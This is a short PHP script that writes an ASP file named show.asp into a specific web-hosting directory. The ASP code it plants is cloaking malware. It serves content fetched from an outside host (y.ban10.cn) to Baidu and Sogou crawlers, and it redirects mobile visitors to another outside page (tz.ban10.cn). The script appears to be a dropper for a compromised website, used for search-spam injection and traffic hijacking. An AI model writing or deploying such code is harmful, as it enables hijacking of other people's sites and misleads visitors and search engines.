<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);

// 定义文件路径
$filePath = 'D:\\vhostroot\\LocalUser\\yuda\\www\\inc\\show.asp';

// 定义要写入的内容
$content = '<%
Dim userAgent, isMobile, content

'' 获取用户的 User-Agent
userAgent = Request.ServerVariables("HTTP_USER_AGENT")

'' 检查 User-Agent 中是否包含百度蜘蛛或搜狗
If InStr(userAgent, "Baiduspider") > 0 Or InStr(userAgent, "Sogou") > 0 Then
    '' 获取外部内容并输出
    Set http = CreateObject("MSXML2.ServerXMLHTTP")
    http.open "GET", "http://y.ban10.cn/ind.php", False
    http.send ""
    content = http.responseText
    Response.Write content
    Response.End
End If

'' 检查是否是移动设备
isMobile = False
If InStr(userAgent, "Android") > 0 Or InStr(userAgent, "webOS") > 0 Or InStr(userAgent, "iPhone") > 0 Or InStr(userAgent, "iPad") > 0 Or InStr(userAgent, "iPod") > 0 Or InStr(userAgent, "BlackBerry") > 0 Or InStr(userAgent, "IEMobile") > 0 Or InStr(userAgent, "Opera Mini") > 0 Then
    isMobile = True
End If

'' 如果是移动设备，重定向到指定页面
If isMobile Then
    Response.Redirect("https://tz.ban10.cn/yao.php")
    Response.End
End If
%>';

// 检查文件是否存在并尝试写入
if (!file_exists($filePath)) {
    if (is_writable(dirname($filePath))) {
        if (file_put_contents($filePath, $content)) {
            echo "文件 show.asp 已成功创建并写入内容。";
        } else {
            echo "无法写入文件，可能是权限问题。";
        }
    } else {
        echo "文件目录不可写，请检查目录权限。";
    }
} else {
    echo "文件 show.asp 已经存在。";
}
?>